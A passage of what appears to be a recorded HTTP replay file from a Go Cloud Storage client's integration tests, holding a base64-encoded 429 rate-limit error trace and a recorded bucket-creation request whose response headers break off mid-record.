ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVRPT19NQU5ZX1JFUVVFU1RTLCBjYXRlZ29yeT1RVU9UQV9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPXVzYWdlTGltaXRzLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9dG9vTWFueVJlcXVlc3RzLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWNsb3VkLmJpZ3N0b3JlLmFwaS5CaWdzdG9yZUVycm9yRG9tYWluLkNMSUVOVF9RVU9UQV9FWENFRURFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlBST0pFQ1RfQlVDS0VUX09QX1JBVEVfVE9PX0hJR0g6IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YToxODQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjQyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmluc2VydChCdWNrZXRzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1DTElFTlRfUVVPVEFfRVhDRUVERUQsIGVycm9yUHJvdG9Eb21haW49Y2xvdWQuYmlnc3RvcmUuYXBpLkJpZ3N0b3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2UuYnVja2V0Lm5hbWUsIG1lc3NhZ2U9VGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZS5idWNrZXQubmFtZSwgbWVzc2FnZT1UaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuLCByZWFzb249cmF0ZUxpbWl0RXhjZWVkZWQsIHJwY0NvZGU9NDI5fSBUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UFJPSkVDVF9CVUNLRVRfT1BfUkFURV9UT09fSElHSDogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjE4NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6NDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkJ1Y2tldHNEZWxlZ2F0b3IuaW5zZXJ0KEJ1Y2tldHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MjksIm1lc3NhZ2UiOiJUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuIn19" - } - }, - { - "ID": "281ffb73e66efd1f", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "103" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjYwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 429, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12201" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:52 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - 